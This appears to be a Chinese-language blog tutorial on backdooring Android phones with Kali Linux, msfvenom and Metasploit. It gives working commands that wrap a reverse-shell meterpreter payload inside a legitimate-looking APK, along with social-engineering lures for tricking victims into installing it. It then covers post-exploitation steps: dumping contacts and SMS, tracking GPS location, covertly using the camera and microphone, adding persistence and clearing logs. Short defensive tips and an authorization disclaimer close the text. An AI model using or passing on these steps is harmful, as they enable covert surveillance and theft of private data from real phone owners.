1. Kali Linux渗透测试环境搭建
在开始安卓设备渗透测试之前,我们需要先准备好Kali Linux环境。Kali Linux作为专业的渗透测试操作系统,内置了数百种安全工具,其中就包含我们需要的msfvenom和Metasploit框架。
首先确保你的Kali Linux系统是最新版本。打开终端,执行以下命令更新系统:
sudo apt update && sudo apt upgrade -y
更新完成后,我们需要确认几个关键工具是否安装正常。检查Metasploit框架版本:
msfconsole --version
正常情况下会显示类似"Framework: 6.3.0"的版本信息。如果提示命令不存在,可以通过以下命令安装:
sudo apt install metasploit-framework
网络配置是渗透测试的基础。使用ifconfig命令查看本机IP地址:
ifconfig
记下eth0或wlan0接口的inet地址,这就是你的Kali主机IP。如果ifconfig命令不可用,也可以使用ip命令:
ip a
为了后续操作顺利,建议关闭防火墙:
sudo systemctl stop firewalld
sudo systemctl disable firewalld
2. 生成安卓后门程序
msfvenom是生成payload的利器,它能够创建各种平台的后门程序。针对安卓设备,我们可以生成一个伪装成正常应用的APK文件。
基本生成命令如下:
msfvenom -p android/meterpreter/reverse_tcp LHOST=你的KaliIP LPORT=5555 R > update.apk
这里有几个关键参数需要注意:
- -p 指定payload类型,我们使用android/meterpreter/reverse_tcp
- LHOST 设置监听主机的IP(你的Kali地址)
- LPORT 设置监听端口(建议使用1024以上的端口)
- R 表示生成原始格式
-
update.apk 将输出保存为APK文件
为了让后门更具迷惑性,我们可以添加一些额外参数:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 --platform android --arch dalvik -x original.apk -o game.apk
这个命令做了几件事:
- 使用--platform指定安卓平台
- --arch设置架构为dalvik
- -x参数指定一个合法APK作为模板(可以从apkmirror下载)
- -o指定输出文件名
生成的文件大小通常在5-10MB左右,如果太小可能会引起怀疑。可以使用du命令检查文件大小:
du -h game.apk
3. 社会工程学应用分发
生成了后门程序后,如何让目标安装是关键。这里就需要运用社会工程学技巧。
最简单的方法是直接通过社交软件发送APK文件,伪装成:
- 热门游戏修改版
- 实用工具(如WiFi万能钥匙)
- 视频播放器
- 系统更新包
更高级的方法包括:
- 搭建钓鱼网站,提供"破解版"应用下载
- 使用二维码诱导扫描下载
- 通过USB传输,声称是驱动程序
- 伪装成文档或图片文件(需要配合漏洞利用)
如果目标开启了"未知来源"安装权限,可以直接安装。否则需要诱导用户手动开启:
"为了安装这个特别版本的应用,您需要在设置-安全中勾选'允许未知来源'选项。"
为了提高成功率,可以:
- 使用热门应用的图标和名称
- 添加简单的用户界面
- 包含一些基础功能(如简单的计算器)
- 在应用描述中强调"安全无毒"
4. Metasploit监听配置
当目标安装了我们的后门程序后,需要在Kali上配置监听。首先启动Metasploit控制台:
msfconsole
进入后依次执行以下命令:
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 443
set ExitOnSession false
exploit -j
这些命令的作用是:
- 使用multi/handler监听模块
- 设置与后门匹配的payload
- 指定监听IP和端口
- ExitOnSession设为false保持持续监听
- -j参数表示在后台运行
成功启动后,控制台会显示:
[*] Started reverse TCP handler on 192.168.1.100:443
当目标运行后门程序时,你会看到类似提示:
[*] Meterpreter session 1 opened (192.168.1.100:443 -> 192.168.1.105:37284)
此时输入sessions命令可以查看所有活跃会话:
sessions
要与会话交互,使用:
sessions -i 1
5. 后渗透攻击操作
成功建立meterpreter会话后,就可以执行各种后渗透操作了。以下是一些实用命令:
信息收集:
sysinfo # 查看设备信息
app_list # 列出安装的应用
dump_contacts # 导出通讯录
dump_sms # 导出短信
geolocate # 获取GPS位置
设备控制:
webcam_list # 列出摄像头
webcam_snap -i 1 # 使用第一个摄像头拍照
webcam_stream -i 2 # 开启第二个摄像头实时监控
record_mic -d 30 # 录制30秒麦克风音频
send_sms -d 10086 -t "test" # 发送短信
文件操作:
ls # 列出文件
cd /sdcard # 进入SD卡目录
download /sdcard/DCIM/Camera/photo.jpg ~/ # 下载照片
upload /root/malware.apk /sdcard/Download/ # 上传文件
高级功能:
activity_start -a android.intent.action.VIEW -d http://evil.com # 打开网页
set_audio_mode -m 2 # 将设备设为静音模式
wakelock -s # 保持设备唤醒
持久化维持:
persistence -h
persistence -U -i 5 -p 443 -r 192.168.1.100
这个命令会创建开机自启动的持久化后门,参数说明:
- -U 用户登录时运行
- -i 每隔5秒尝试连接
- -p 监听端口
- -r 监听主机IP
6. 痕迹清理与防护建议
完成测试后,记得清理痕迹。在meterpreter中执行:
clearev # 清除日志
rm /data/local/tmp/met.apk # 删除后门文件
对于防御方,建议采取以下防护措施:
- 只从官方应用商店下载应用
- 禁用"未知来源"安装选项
- 定期检查设备异常行为
- 安装可靠的安全软件
- 对可疑应用进行权限审查
在Kali端,可以使用以下命令结束会话:
sessions -K # 终止所有会话
exit # 退出msfconsole
7. 常见问题排查
在实际操作中可能会遇到各种问题,这里总结几个常见情况及解决方法:
问题1:后门生成失败
- 检查msfvenom命令拼写
- 确认IP和端口设置正确
- 尝试更换输出文件名
- 使用-v参数查看详细错误
问题2:目标安装后无法连接
- 确认Kali防火墙已关闭
- 检查IP地址是否变化
- 尝试更换监听端口
- 确保目标设备网络可达
问题3:meterpreter会话不稳定
- 使用auto迁移到稳定进程
- 设置更短的重连间隔
- 尝试不同的payload类型
- 检查网络连接质量
问题4:权限不足
- 尝试getsystem提权
- 使用exploit/android/local/模块
- 结合其他漏洞提升权限
- 如果是测试环境,可以root设备
记住,这些技术只应用于合法授权的渗透测试。在实际测试中,务必事先获得书面授权,并遵守相关法律法规。
1155




被折叠的 条评论
为什么被折叠?



